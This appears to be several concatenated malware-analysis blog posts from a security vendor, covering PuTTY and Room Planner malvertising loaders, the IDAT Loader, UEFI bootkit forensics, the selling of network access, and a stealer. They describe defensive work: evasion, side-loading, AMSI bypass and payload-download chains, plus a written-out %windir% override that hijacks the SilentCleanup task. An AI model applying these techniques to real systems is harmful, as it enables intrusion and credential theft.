The related techniques, tactics, and procedures (TTP) observed by Rapid7 are reminiscent of past BlackCat/ALPHV campaigns as reported by Trend Micro last year. This campaign, referred to as Nitrogen by Malwarebytes, and eSentire, has previously been reported to use similar methods.

Technical Analysis

To take a more in depth look at the malware delivery and functionality, we analyzed a malware sample recently observed being delivered to users looking for a PuTTY installer.

Initial Access

The source of the infection was a malicious ad served to the user after their search for download putty. When the user clicked on the ad, which are typically pushed to the top of the search results for visibility, they were redirected to a typo-squatted domain at the URL hxxps://puttty[.]org/osn.php. The landing page includes a download button for PuTTY, as well as two legitimate links to download a Bitvise SSH server/client. However, when the download link is clicked by the user it calls the embedded function loadlink(), which redirects the user to hxxps://puttty[.]org/dwnl.php, which then finally redirects the user to the most recent host of the malicious zip archive to serve the download. At the time of writing, puttty[.]org and the relevant URLs were still active, serving the zip archive putty-0.80-installer.zip from the likely compromised WordPress domain areauni[.]com.

Rapid7 observed the base domain, puttty[.]org was also serving a cloned version of a PuTTY help article available at BlueHost, where the download link provided is actually for the official distributor of the software. This relatively benign page is most likely conditionally served as a way to reduce suspicion as noted by Malwarebytes.

In comparison, the typo-squatted WinSCP domains conditionally redirected visits to Rick Astley's Never Gonna Give You Up. Classic.

Execution

Upon extracting the zip archive putty-0.80-installer.zip, the user is once again presented with setup.exe, a renamed copy of pythonw.exe, to entice the user to initiate the infection by launching the executable.

Once executed, setup.exe will side-load the malicious DLL python311.dll. The DLL python311.dll then loads a renamed copy of the legitimate DLL, python3.dll, from the same directory after dynamically resolving the necessary functions from kernel32.dll by string match. Future requests for exported functions made by setup.exe can then be forwarded to python3.dll by python311.dll. This technique is commonly used when side-loading malware, so legitimate requests are proxied, which avoids unexpected behavior and improves stability of the payload delivery.

Following the successful sideloading procedure, the malware then performs pre-unpacking setup by dynamically resolving additional functions from ntdll.dll. The malware still uses functionality similar to the publicly available AntiHook and KrakenMask libraries to facilitate setup and execution, as previously noted by eSentire, which provides additional evasion capabilities. AntiHook contains functionality to enumerate the loaded modules of a process, searching each one for hooks, and remaps a clean, unhooked version of the module’s text section, if hooks are found. KrakenMask contains functionality to spoof the return address of function calls, to evade stack traces, and functionality to encrypt the processes virtual memory at rest to evade memory scanners.

The library ntdll.dll contains functions which make up the Windows Native API (NTAPI), which is generally the closest a process executed in user mode can get to utilizing functionality from the operating system’s kernel. By resolving NTAPI functions for use, malware can bypass detection applied to more commonly used user mode functions (WINAPI) and access lower level functionality that is otherwise unavailable. Several of the NTAPI function pointers resolved by the malware can be used for evasion techniques such as Event Tracing for Windows (ETW) tampering and bypass of the Anti-Malware Scan Interface (AMSI) as has been observed in prior Nitrogen campaign samples. Some of the functions are dynamically resolved from ntdll.dll are found using concatenation of stack strings to form the full name of the target API just before resolution is attempted, likely to help evade detection.

Table 1. Functions the malware dynamically resolves from ntdll.dll.

Table 2. Other evasion related WINAPI function strings observed in the malware

With setup complete, an encrypted resource stored within the resource section of python311.dll is retrieved using common resource WINAPI calls, including FindResourceA, LoadResource, SizeOfResource, and FreeResource.

The resource is then decrypted in memory using an AES-256 hex key and initialization vector (IV) that are stored in the data section in plain text. The resulting file is a zip archive which contains three compressed files, including a legitimate MSI installation package for PuTTY and another compressed archive named installer_data.zip.

To execute the PuTTY installer, the malware first creates a copy of the MSI file in the hard-coded directory C:\Users\Public\Downloads\ via a call to fopen and then decompresses and writes the retrieved MSI package content with multiple successive calls to fwrite and other CRT library file io functions, followed by fclose. The full output path is assembled by concatenating the target directory with the desired file name, which is retrieved from original_installer.txt. The contents of original_installer.txt are identical to the name of the MSI package observed in the resource, for this sample: putty-64bit-0.78-installer.msi.

The MSI package is then executed by a call to CreateProcessW with the command line msiexec.exe ALLUSERS=1 /i C:\Users\Public\Downloads\putty-64bit-0.78-installer.msi. So, before the execution of the next malware payload the user is provided with the software they were originally looking for. This functionality is commonly seen with trojans to avoid suspicion by the end user, as the user only sees the legitimate installation window pop up after initial execution. However, the version numbers between the executed MSI package, putty-64bit-0.78-installer.msi, and the initially downloaded zip archive, putty-64bit-0.80-installer.zip, don't match — a potential indicator.

The same procedure is then repeated to copy the decompressed contents of the folder Oracle contained within the zip archive installer_data.zip to the staging directory created at %LOCALAPPDATA%\Oracle\. After the unpacking process is complete, another call by the malware to CreateProcessW executes the next payload with the command line %LOCALAPPDATA%\Oracle\pythonw.exe %LOCALAPPDATA%\Oracle\systemd.py. With its purpose completed, the loader then clears memory and passes back control to setup.exe, which promptly terminates, leaving the pythonw.exe process running in the background.

The Python script systemd.py contains multiple junk classes, which in turn contain numerous junk function definitions to pad out the core script. Ultimately, the script decrypts the file %LOCALAPPDATA%\Oracle\data.aes, which is a Sliver beacon DLL (original name: BALANCED_NAPKIN.dll), performs local injection of the Sliver DLL, and then calls the export StartW. The contents of main and other included functionality within the script appears to have been mostly copied from the publicly available Github repo for PythonMemoryModule.

Rapid7 has replicated the unpacking process of the beacon DLL in a python extraction script that is now publicly available along with a yara rule to detect the malicious DLL.

Mitigations

Rapid7 recommends verifying the download source of freely available software. Check that the hash of the downloaded file(s) match those provided by the official distributor and that they contain a valid and relevant signature. The DLLs that are side-loaded by malware are often unsigned, and are often present in the same location as the legitimately signed and renamed original, to which requests are forwarded. Bookmark the official distribution domains for the download of future updates.

DNS requests for permutations of known domains can also be proactively blocked or the requests can be redirected to a DNS sinkhole. For example, by using the publicly available tool DNSTwist we can identify several additional suspicious domains that match the observed ASNs and country codes observed for many of the C2 IPv4 addresses observed to be contacted by the malware as well as known malware hosts/facilitators.

Table 3. More suspicious domains found via DNSTwist.

Rapid7 observed impacted users are disproportionately members of information technology (IT) teams who are more likely to download installers for utilities like PuTTY and WinSCP for updates or setup. When the account of an IT member is compromised, the threat actor gains a foothold with elevated privileges which impedes analysis by blending in their actions with that of the administrator(s), stressing the importance of verifying the source of files before download, and their contents before execution.

MITRE ATT&CK Techniques

Rapid7 Detections

For Rapid7 MDR and InsightIDR customers, the following detection rules are currently deployed and alerting against malware campaigns like the one described in this blog:

Indicators of Compromise

Network Based Indicators (NBIs)

Host Based Indicators (HBIs)

In August 2023, Rapid7 identified a new malware loader named the IDAT Loader. Malware loaders are a type of malicious software designed to deliver and execute additional malware onto a victim's system. What made the IDAT Loader unique was the way in which it retrieved data from PNG files, searching for offsets beginning with 49 44 41 54 (IDAT).

In part one of our blog series, we discussed how a Rust based application was used to download and execute the IDAT Loader. In part two of this series, we will be providing analysis of how an MSIX installer led to the download and execution of the IDAT Loader.

While utilization of MSIX packages by threat actors to distribute malicious code is not new, what distinguished this incident was the attack flow of the compromise. Based on the recent tactics, techniques and procedures observed (TTPs), we believe the activity is associated with financially motivated threat groups.

MSIX Installers

In January of 2024, Red Canary released an article attributing different threat actors to various deployments of malicious MSIX installers. The MSIX installers employed a variety of techniques to deliver initial payloads onto compromised systems.

All the infections began with users navigating to typo squatted URLs after using search engines to find specific software package downloads. Typo squatting aka URL hijacking is a specific technique in which threat actors register domain names that closely resemble legitimate domain names in order to deceive users. Threat actors mimic the layout of the legitimate websites in order to lure the users into downloading their initial payloads.

Additionally, threat actors utilize a technique known as SEO poisoning, enabling the threat actors to ensure their malicious sites appear near the top of search results for users.

Technical Analysis

Typo Squatted Malvertising

In our most recent incident involving the IDAT Loader, Rapid7 observed a user downloading an installer for an application named ‘Room Planner’ from a website posing as the legitimate site. The user was searching Google for the application ‘Room Planner’ and clicked on the URL hxxps://roomplannerapp.cn[.]com. Upon user interaction, the users browser was directed to download an MSIX package, Room_Planner-x86.msix (SHA256: 6f350e64d4efbe8e2953b39bfee1040c8b041f6f212e794214e1836561a30c23).

PowerShell Scripts

During execution of the MSIX file, a PowerShell script, 1.ps1 , was dropped into the folder path C:\Program Files\WindowsApps\RoomPlanner.RoomPlanner_7.2.0.0_x86__s3garmmmnyfa0\ and executed. Rapid7 determined that it does the following:

• Obtain the IP address of the compromised asset
• Send the IP address of the compromised asset to a Telegram bot
• Retrieve an additional PowerShell script that is hosted on the Telegram bot
• Delete the message containing the IP address of the compromised asset
• Invoke the PowerShell script retrieved from the Telegram bot

In a controlled environment, Rapid7 visited the Telegram bot hosting the next stage PowerShell script and determined that it did the following:

• Retrieve the IP address of the compromised asset by using Invoke-RestMethod which retrieved data from the domain icanhazip[.]com
• Enumerate the compromised assets Operating System, domain and AV products
• Send the information to the Telegram bot
• Create a randomly generated 8 character name, assigning it to the variable $JAM
• Download a gpg file from URL hxxps://read-holy-quran[.]group/ld/cr.tar.gpg, saving the file to %APPDATA% saving it as the name assigned to the $JAM variable
• Decrypt the contents of the gpg file using the passphrase ‘riudswrk’, saving them into a newly created folder named after the $JAM variable within C:\ProgramData\$JAM\cr\ as a .RAR archive file
• Utilize tar to unarchive the RAR file
• Start an executable named run.exe from within the newly created folder
• Create a link (.lnk) file within the Startup folder, named after the randomly generated name stored in variable $JAM, pointing towards run.exe stored in file path C:\ProgramData\$JAM\cr\ in order to create persistence
• Read in another PowerShell script hosted on a Pastebin site, hxxps://pastebin.pl/view/raw/a137d133 using downloadstring and execute its contents (the PowerShell script is a tool used to bypass AMSI) with IEX (Invoke-Expression)
• Download data from URL hxxps://kalpanastickerbindi[.]com/1.jpg and reflectively load the contents and execute the program starting at function EntryPoint (indicating the downloaded data is a .NET Assembly binary)

After analysis of the AMSI (Anti Malware Scan Interface) bypass tool, we observed that it was a custom tool giving credit to a website, hxxps://rastamosue[.]memory-patching-amsi-bypass, which discusses how to create a program that can bypass AMSI scanning.

AMSI is a scanning tool that is designed to scan scripts for potentially malicious code after a scripting engine attempts to run the script. If the content is deemed malicious, AMSI will tell the scripting engine (in this case PowerShell) to not run the code.

RAR Contents

Contained within the RAR file were the following files:

After analysis of the folder contents, Rapid7 determined that one of the DLLs, wbxtrace.dll, had a corrupted signature, indicating that its original code was tampered with. After analyzing the modified WebEx DLL, wbxtrace.dll, Rapid7 determined the DLL contained suspicious functions similar to the IDAT Loader.

Upon extracting the contents of the RAR file to the directory path C:\ProgramData\cr, the PowerShell script executes the run.exe executable.

The IDAT Loader

During execution of run.exe (a legitimate renamed WebEx executable), the executable sideloads the tampered WebEx DLL, wbxtrace.dll. Once the DLL wbxtrace.dll is loaded, the DLL executes a section of new code containing the IDAT Loader, which proceeds to read in contents from within dharna.7z.

After reading in the contents from dharna.7z, the IDAT Loader searches for the offset 49 44 41 54 (IDAT) followed by C6 A5 79 EA. After locating this offset, the loader reads in the following 4 bytes, E1 4E 91 99, which are used as the decryption key for decrypting the rest of the contents. Contained within the decrypted contents are additional code, specific DLL and Executable file paths as well as the final encrypted payload that is decrypted with a 200 byte XOR key.

The IDAT loader employs advanced techniques such as Process Doppelgänging and the Heaven’s Gate technique in order to initiate new processes and inject additional code. This strategy enables the loader to evade antivirus detections and successfully load the final stage, SecTop RAT into the newly created process, msbuild.exe.

We recently developed a configuration extractor capable of decrypting the final payload concealed within the encrypted files containing the IDAT (49 44 41 54) sections. The configuration extractor can be found on our Rapid7 Labs github page.

After using the configuration extractor, we analyzed the SecTop RAT and determined that it communicates with the IP address 91.215.85[.]66.

Rapid7 Customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity described:

• Attacker Technique - Advanced Installer .MSI Executable Spawns Powershell
• Suspicious Process - Execution From Root of ProgramData
• Suspicious Process - PowerShell Uncommon Upper And Lower Case Combinations
• Suspicious Process - explorer.exe in Non-Standard Location

MITRE ATT&CK Techniques

IOCs

References

In August 2023, Rapid7 identified a new malware loader named the IDAT Loader. Malware loaders are a type of malicious software designed to deliver and execute additional malware onto a victim's system. What made the IDAT Loader unique was the way in which it retrieved data from PNG files, searching for offsets beginning with 49 44 41 54 (IDAT).

At the time, the loader was seen being distributed via a FakeUpdates campaign. In two recent investigations, Rapid7’s Managed Detection & Response (MDR) observed the loader being used again. Based on the recent tactics, techniques and procedures observed (TTPs), we believe the activity is associated with financially motivated threat groups.

In this two-part blog series, we will examine the attack chain observed in two separate incidents, offering in-depth analysis of the malicious behavior detected. The incidents discussed in the series stem from opportunistic infections, wherein threat groups utilize malvertising and drive-by downloads in order to have their initial malicious payloads executed by users.

This first installment focuses on an incident triggered by a user downloading an application, which subsequently triggered the execution of the IDAT Loader and the BruteRatel C4 (BRC4) framework following initial access to a compromised asset.

Technical Analysis

Stage 1: The drive by

In a recent incident, we observed a user navigate to a website that hosted popular Korean shows. Upon attempting to watch the video, the website redirected the user's browser through multiple websites, eventually leading to the download of an application named AppFile_v1.1.exe. Threat actors utilize website redirection in order to make it difficult for network technologies to scan links for malicious content.

Binary Analysis: Shaking off the Rust

After initial analysis of the binary AppFile_v1.1.exe, we determined the program was written in Rust.

During execution, the program will query the name of the executable. If the executable’s name matches AppFile_v1.1.exe, the program will continue. Most sandboxes will rename the files (sometimes based on the hash) of submitted programs. This technique helps to evade sandboxes, ensuring the malicious functions are not run. If the program name does not match its original intended name,  the program will quit and display an error message, showing an image that a web page could not be loaded.

Next, the program will check to see if it resides within a debugger by querying the function IsDebuggerPresent. If the check passes, it will decrypt a hard-coded string that resolves to “Normal”. If not, the program will decrypt another hard-coded string that resolves to “Debugger” and then exit.

Once the anti-debug check passes, the program retrieves an encrypted string and XOR decrypts it, revealing the URL hxxps://cdn-network-services-001[.]com/update/minor/1/release.json.

The program will then perform anti-analysis techniques, specifically querying for the username and open process and comparing them to a list of known sandbox usernames and tools. The list of usernames and processes are also XOR-encrypted and are decrypted at runtime. Based on Open Source Intelligence, we determined that another malware known as Serpent Stealer contained a similar table of user names. See Appendix A below for the complete list.

If any of the checks fail, the program will exit and display the message box. If the checks pass, the program will then utilize Rust library tokio-1.32.0/src/net/tcp/stream.rs in order to read in data from the decrypted URL and store the contents in memory.

Upon initial analysis, the downloaded data appeared to be encoded. Subsequently, the data is passed into a function tasked with decoding it. The decoding process involves reading each byte and subtracting the hexadecimal value 32.

After the downloaded data is decoded, the program XOR decrypts another string, revealing a path to the executable C:\Windows\system32\werfault.exe. Using syscalls, the program then does the following:

After analysis of the decoded binary, we determined that it was another executable written in Rust. The program's executable contains a zip archive within the .rdata section. During execution, the program generates a folder with a randomly generated name in the %TEMP% directory and extracts the contents of the archive into this newly created folder.

The archive contained a DLL, msidcrl40.dll, an executable named live.exe and an encrypted file, dynatron.mdb. Initial analysis of the DLL msidcrl40.dll showed that the DLL’s signature was corrupted, indicating the DLL was tampered with. Further analysis showed that the DLL contained code related to the IDAT Loader.

IDAT Loader

After the rust program drops the contents of the zip archive, it then proceeds to execute the binary live.exe, which sideloads the DLL, msidcrl40.dll, containing the IDAT Loader code.

After the binary live.exe loads the DLL msidcrl40.dll, the DLL executes the function containing  the IDAT Loader. The loader then reads in encrypted contents contained within the file dynatron.mdb, searching for the offset 49 44 41 54 (IDAT) followed by C6 A5 79 EA. After decrypting the contents, the loader will then decompress the contents using RtlDecompressBuffer and execute additional code into a newly created process, cmd.exe.

The IDAT loader employs advanced techniques such as Process Doppelgänging and the Heaven’s Gate technique in order to initiate new processes and inject additional code.

The code contained within cmd.exe is responsible for decrypting the final payload and injecting it into a newly created process, msbuild.exe.

Using our IDAT Loader config extractor, we were able to extract the final payload and determined that it was SecTop RAT. During execution of the SecTop RAT, we observed that it communicated with the IP address 152.89.217[.]215.

Post-Exploitation: BRC4 Deployment

After the SecTop RAT was executed successfully, Rapid7 observed follow-on activity in which the threat actor executed another version of the IDAT loader from within the folder path C:\ProgramData\. We observed the following related files were dropped by the threat actor into C:\ProgramData:

After analysis of the files, we determined that rvm.exe was a renamed executable rvmsetup.exe, a legitimate tool that is a part of the VMWare Tools toolset. The binary is used to join a VMWare source virtual machine to an active directory domain. We also observed that the binary vmtools.dll had a corrupted signature, indicating the binary’s code was tampered with. We observed that the DLL vmtools.dll contained code related to the IDAT Loader.

During execution of the executable, rvm.exe, the program loads vmtools.dll. After vmtools.dll is loaded, the DLL is directed to execute a function that contains the IDAT Loader. The IDAT Loader proceeds to read in contents from within spank.mpg, searching for the same offset, 49 44 41 54 (IDAT) followed by C6 A5 79 EA. After decrypting the contents within spank.mpg, the IDAT Loader spawns a new process, cmd.exe, injecting additional code that is responsible for decrypting the final payload and injecting it into a newly created process, explorer.exe.

Using our static config extractor, we extracted the final payload, a 64-bit executable. During initial analysis of the final payload, we observed that the program utilized the API functions VirtualAlloc and VirtualProtect. During execution of the program, it utilized VirtualAlloc to read in and store additional code, including encrypted data, into a new region of memory. The program then called upon the function VirtualProtect, changing the newly allocated region of memory (containing the new code) to be executable. We also observed the 64 bit executable (obtained from the IDAT Loader python script) had the capability to perform process hollowing by starting a new process, notepad.exe, and injecting the code into the newly created process.

The newly allocated code was responsible for decrypting the encrypted data using RC4, copying the decrypted code into an allocated memory buffer via VirtualAlloc, and setting the memory buffer to have executable permission using VirtualProtect. Rapid7 determined the decrypted code was a Brute Ratel C4 (BRC4) “badger”.

Brute Ratel originated as a post-exploitation tool intended for penetration testers, designed to mimic adversary tactics as of December 2020. Its development aimed to replicate the functionality of established Command and Control (C2) software like Cobalt Strike, Mythic and Sliver. Following a successful compromise of a target, the attacker deploys the Brute Ratel "badger," tasked with establishing communication with the attacker's Command and Control domain.

During execution of the BRC4 program, we observed that it reached out to the domain updatenazure[.]com.

After the BRC4 program was executed, we observed the threat actor attempting to enumerate the domain controller by using the command nltest /dclist.

Rapid7 Customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity described:

• Network Discovery - Nltest Enumerate Domain Controllers
• Suspicious Process - Execution From Root of ProgramData
• Suspicious Process - PowerShell Uncommon Upper And Lower Case Combinations
• Suspicious Process - explorer.exe in Non-Standard Location

Appendix A: Known Sandbox Usernames and Analysis Tools

MITRE ATT&CK Techniques

IOCs

References

Rapid7 Labs GitHub

https://github.com/rapid7/Rapid7-Labs/blob/main/Malware Config Extractors/IDAT_Loader_extractor.py

With this context, it is becoming important for security practitioners to understand visibility and collection capabilities for UEFI threats. This post covers some of these areas and presents several recent Velociraptor artifacts that can be used in the field. Rapid7 has also released a white paper providing detailed information about how UEFI malware works and some of the most common types.

Background

Unified Extensible Firmware Interface, or UEFI, is the interface between a system’s hardware and its operating system (OS). The technology can be viewed as an updated BIOS capability to improve and add security to the boot process.

The two main types of UEFI persistence are:

1. Serial Peripheral Interface (SPI) based

• Firmware payload implant that is resilient to even a hard disk format.
• Difficult to implement — there are risks associated with implementing and potentially bricking a machine if there are mistakes with the firmware.
• Difficult to detect at scale — defenders need to extract firmware which typically requires a signed driver, then running tools for analysis.
• Typically an analyst would dump firmware, then extract variables and other interesting files like PEs for deep dive analysis.

2. EFI System Partition (ESP) based

• A special FAT partition that stores bootloaders and sits late in the EFI boot process.
• Much easier to implement, only requiring root privileges and to bypass Secure Boot.
• Does not survive a machine format.

EFI Secure Variables API visibility

EFI Secure Variables (or otherwise known as NVRAM) is how the system distributes components from the firmware during boot. From an analysis point of view, whilst dumping the firmware is difficult needing manual workflow, all operating systems provide some visibility from user space. This blog will discuss the Windows API; however, for reference Linux and macOS provides similar data.

GetFirmwareEnvironmentVariable (Windows) can collect the name, namespace guid and value of EFI secure variables. This collection can be used to check current state including key/signature database and revocation.

Some of the data points it enables extracting are:

• Platform Key (PK) — top level key.
• Key Exchange Key (KEK)  — used to sign Signatures Database and Forbidden Signatures Database updates.
• Signature database (db) — contains keys and/or hashes of allowed EFI binaries.
• Forbidden signatures database (dbx) — contains keys and/or hashes of denylisted EFI binaries.
• Other boot configuration settings.

It's worth noting that this technique is relying on the Windows API and could be subverted with capable malware, but the visibility can provide leads for an analyst around boot configuration or signatures. There are also “boot only” NVRAM variables that can not be accessed outside boot, so a manual chip dump would need to be collected.

Velociraptor has a community contributed capability: Generic.System.EfiSignatures. This artifact collects EFI Signature information from the client to check for unknown certificates and revoked hashes. This is a great artifact for data stacking across machines and is built by parsing data values from the efivariables() plugin.

EFI System Partition (ESP) visibility

The ESP is a FAT partitioned file system that contains boot loaders and other critical files used during the boot process which do not change regularly. As such, it can be a relatively simple task to find abnormalities using forensics.

For example, parsing the File Allocation Table we can review metadata around path, timestamps, and deleted status that may provide leads for analysis.

In the screenshot above we observe several EFI bootloader files with timestamps out of alignment. We would typically expect these files to have the same timestamps around operating system install. We can also observe deleted files and the existence of a System32 folder in the temporal range of these entries.

The EFI/ folder should be the only folder in the ESP root so querying for any paths that do not begin with EFI/ is a great hunt that detects our lead above. You can see in my screenshot below, the BlackLotus staging being bubbled to the top adding filtering for this use case.

Interestingly, BlackLotus was known to use the Baton Drop exploit so we can compare to the publicly available Baton Drop and observe similarities to deleted files on the ESP.

The final component of ESP-based visibility is checking the bytes of file contents. We can run YARA to look for known malware traits, or obtain additional file type metadata that can provide leads for analysis. The screenshot below highlights the well known Black Lotus certificate information and PE header timestamp.

Available Velociraptor artifacts for this visibility of the ESP are:

1. Windows.Forensics.UEFI — This artifact enables disk analysis over an EFI System Partition (ESP). The artifact queries the specified physical disk, parses the partition table to target the ESP File Allocation Table (FAT). The artifact returns file information, and PE enrichment as typical EFI files are in the PE format.
2. Windows.Detection.Yara.UEFI — This artifact expands on basic enumeration of the ESP and enables running yara over the EFI system partition.

Measured Boot log visibility

Bootkit security has always been a “race to the bottom.” If the malware could load prior to security tools, a defender would need to assume they may be defeated. Since Windows 8, Measured Boot is a feature implemented to help protect machines from early boot malware. Measured Boot checks each startup component — from firmware to boot drivers — and stores this information in the Trusted Platform Module (TPM). A binary log is then made available to verify the boot state of the machine. The default Measured Boot log location is C:\Windows\Logs\MeasuredBoot\*.log and a new file is recorded for each boot.

Windows.Forensics.UEFI.BootApplication parses Windows MeasuredBoot TCGLogs to extract PathName of events, which can assist detection of potential ESP based persistence (EV_EFI_Boot_Services_Application). The artifact leverages Velociraptor tools to deploy and execute Matt Graeber’s excellent powershell module TCGLogTools to parse TCGLogs on disk and memory.

We can see when running on an infected machine that the BOOT application path has clearly changed from the default: \EFI\Microsoft\Boot\bootmgfw.efi. Therefore, Boot Application is a field that is stackable across the network.

We can also output extended values, including digest hashes for verification.

Other forensic artifacts

There are many other generic forensic artifacts analysts could focus on for assisting detection of a UEFI threat. From malware network activity to unexpected errors in the event log associated with Antivirus/Security tools on the machine.

For example: BlackLotus made an effort to evade detection by changing Windows Defender access tokens to SE_PRIVILEGE_REMOVED. This technique keeps the Defender service running but effectively disables it. While Velociraptor may not have protected process privileges to check tokens directly, we can check for other indicators such as errors associated with use.

Similarly, Memory integrity (HVCI) is a feature of virtualization-based security (VBS) in Windows. It provides a stronger virtualization environment via isolation and kernel memory allocations.The feature is related to Secure Boot and can be disabled for malware that needs a lower integrity environment to run. It requires setting the configuration registry key value to 0.

HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity\Value

0 - disabled

1 - enabled
Windows.Registry.HVCI available on the artifact exchange can be used to query for this key value.

Conclusion

Despite UEFI threats possessing intimidating capabilities, security practitioners can deploy some visibility with current tools for remote investigation. Forensically parsing disk and not relying on the Windows API, or reviewing other systemic indicators that may signal compromise, is a practical way to detect components of these threats. Knowing collection capabilities, the gaps, and how to mitigate these is just as important as knowing the threat.

In this post we have covered some of Velociraptor’s visibility for UEFI threats and we have only scratched the surface for those who know their environment and can query it effectively. Rapid7 supports Velociraptor open source, providing the community with Velociraptor and open source features unavailable even in some paid tools.

References:

1. ESET, Martin Smolar - BlackLotus UEFI bootkit: Myth confirmed
2. Microsoft Incident Response - Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign
3. Trellix Insights: TrickBot offers new TrickBoot
4. Palo Alto Unit 42: Diving Into Glupteba's UEFI Bootkit
5. Sentinel1: Moving from common sense knowledge about uefi to actually dumping uefi firmware

Infiltrating corporate networks

To infiltrate corporate networks, threat actors typically use several techniques, including:

Social engineering and phishing attacks

Threat actors collect email addresses, phone numbers, and information shared on social media platforms to target key people within an organization using phishing campaigns to collect credentials. Moreover, many threat actors managed to find the details of potential victims via leaked databases posted on dark web forums.

Malware infection and remote access

Another technique used by threat actors to gain access to corporate networks is malware infection. This technique consists of spreading malware, such as trojans, through a network of botnets to infect thousands of computers around the world.

Once infected, a computer can be remotely controlled to gain full access to the company network that it is connected to. It is not rare to find threat actors with botnets on hacking forums looking for partnerships to target companies.

Network and system vulnerabilities

Some threat actors will prefer to take advantage of vulnerabilities within networks or systems rather than developing offensive cyber tools or using social engineering techniques. The vulnerabilities exploited are usually related to:

• Outdated or unpatched software that exposes systems and networks
• Misconfigured operating systems or firewalls allowing default policies to be enabled
• Ports that are open by default on servers
• Poor network segmentation with unsecured interconnections

Selling network access on underground forums and markets

Since gaining access to corporate networks can take a lot of effort, some cybercriminals prefer to simply buy access to networks that have already been compromised or information that was extracted from them. As a result, it has become common for cybercriminals to sell access to corporate networks on cybercrime forms.

Usually, the types of access that are sold on underground hacking forums are SSH, cPanels, RDP, RCE, SH, Citrix, SMTP, and FTP. The price of network access is usually based on a few criteria, such as the size and revenue of the company, as well as the number of devices connected to the network. It usually goes from a few hundred dollars to a couple thousand dollars. Companies in all industries and sectors have been impacted.

For these reasons, it is increasingly important for organizations to have visibility into external threats. Threat intelligence solutions can deliver 360-degree visibility of what is happening on forums, markets, encrypted messaging applications, and other deep and darknet platforms where many cybercriminals operate tirelessly.

In order to protect your internal assets, ensure the following measures exist within the company and are implemented correctly.

• Keep all systems and network updated.
• Implement a network and systems access control solution.
• Implement a two-factor authentication solution.
• Use an encrypted VPN.
• Perform network segmentation with security interfaces between networks.
• Perform periodic internal security audit.
• Use a threat intelligence solution to keep updated on external threats.

Additional reading:

• 360-Degree XDR and Attack Surface Coverage With Rapid7
• To Maze and Beyond: How the Ransomware Double Extortion Space Has Evolved
• ISO 27002 Emphasizes Need For Threat Intelligence
• For Finserv Ransomware Attacks, Obtaining Customer Data Is the Focus

Rapid7's Managed Detection and Response (MDR) team leverages specialized toolsets, malware analysis, tradecraft, and collaboration with our colleagues on the Threat Intelligence and Detection Engineering (TIDE) team to detect and remediate threats.

Recently, we identified a malware campaign whose payload installs itself as a Windows application after delivery via a browser ad service and bypasses User Account Control (UAC) by abusing a Windows environment variable and a native scheduled task to ensure it persistently executes with elevated privileges. The malware is classified as a stealer, which intends to steal sensitive data from an infected asset (such as browser credentials and cryptocurrency), prevent browser updates, and allow for arbitrary command execution.

Detection

The MDR SOC first became aware of this malware campaign upon analysis of “UAC Bypass - Disk Cleanup Utility” and “Suspicious Process - TaskKill Multiple Times” alerts (authored by Rapid7's TIDE team) within Rapid7's InsightIDR platform.

As the “UAC Bypass - Disk Cleanup Utility” name implies, the alert identified a possible UAC bypass using the Disk Cleanup utility due to a vulnerability in some versions of Windows 10 that allows a native scheduled task to execute arbitrary code by modifying the content of an environment variable. Specifically, the alert detected a PowerShell command spawned by a suspicious executable named HoxLuSfo.exe. We determined that HoxLuSfo.exe was spawned by sihost.exe, a background process that launches and maintains the Windows action and notification centers.

We determined the purpose of the PowerShell command was, after sleeping, to attempt to perform a Disk Cleanup Utility UAC bypass. The command works because, on some Windows systems, it is possible for the Disk Cleanup Utility to run via the native scheduled task “SilentCleanup” that, when triggered, executes the following command with elevated privileges:

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

The PowerShell command exploited the use of the environment variable %windir% in the path specified in the “SilentCleanup” scheduled task by altering the value set for the environment variable %windir%. Specifically, the PowerShell command deleted the existing %windir% environment variable and replaced it with a new %windir% environment variable set to:

%LOCALAPPDATA%\Microsoft\OneDrive\setup\st.exe REM

The environment variable replacement therefore configured the scheduled task “SilentCleanup” to execute the following command whenever the task “SilentCleanup” was triggered:

%LOCALAPPDATA%\Microsoft\OneDrive\setup\st.exe REM\system32\cleanmgr.exe /autoclean /d %systemdrive%

The binary st.exe was a copied version of HoxLuSfo.exe from the file path C:\Program Files\WindowsApps\3b76099d-e6e0-4e86-bed1-100cc5fa699f_113.0.2.0_neutral__7afzw0tp1da5e\HoxLuSfo\.

The trailing “REM” at the end of the Registry entry commented out the rest of the native command for the “SilentCleanup” scheduled task, effectively configuring the task to execute:

%LOCALAPPDATA%\Microsoft\OneDrive\setup\st.exe

After making the changes to the %windir% environment variable, the PowerShell command ran the “SilentCleanup” scheduled task, thereby hijacking the “SilentCleanup” scheduled task to run st.exe with elevated privileges.

The alert for “Suspicious Process - TaskKill Multiple Times” later detected st.exe spawning multiple commands attempting to kill any process named Google*, MicrosoftEdge*, or setu*.

Analysis of HoxLuSfo.exe

Rapid7’s MDR could not remotely acquire the files HoxLuSfo.exe and st.exe from the infected assets because they were no longer present at the time of the investigation. However, we obtained a copy of the executable from VirusTotal based on its MD5 hash, 1cc0536ae396eba7fbde9f35dc2fc8e3.

Rapid7’s MDR concluded that HoxLuSfo.exe had the following characteristics and behaviors:

• 32-bit Microsoft Visual Studio .NET executable containing obfuscated code
• Originally named TorE.exe
• At the time of writing, only 10 antivirus solutions detected HoxLuSfo.exe as malicious

• Fingerprints the infected asset
• Drops and leverages a 32-bit Microsoft Visual Studio .NET DLL, JiLuT64.dll (MD5: 14ff402962ad21b78ae0b4c43cd1f194), which is an Agile .NET obfuscator signed by SecureTeam Software Ltd, likely to (de)obfuscate contents
• Modifies the hosts file on the infected asset to prevent correct resolution of common browser update URLs to prevent browser updates

• Enumerates installed browsers and steals credentials from installed browsers
• Kills processes named Google*, MicrosoftEdge*, setu*
• Contains functionality to steal cryptocurrency
• Contains functionality for the execution of arbitrary commands on the infected asset

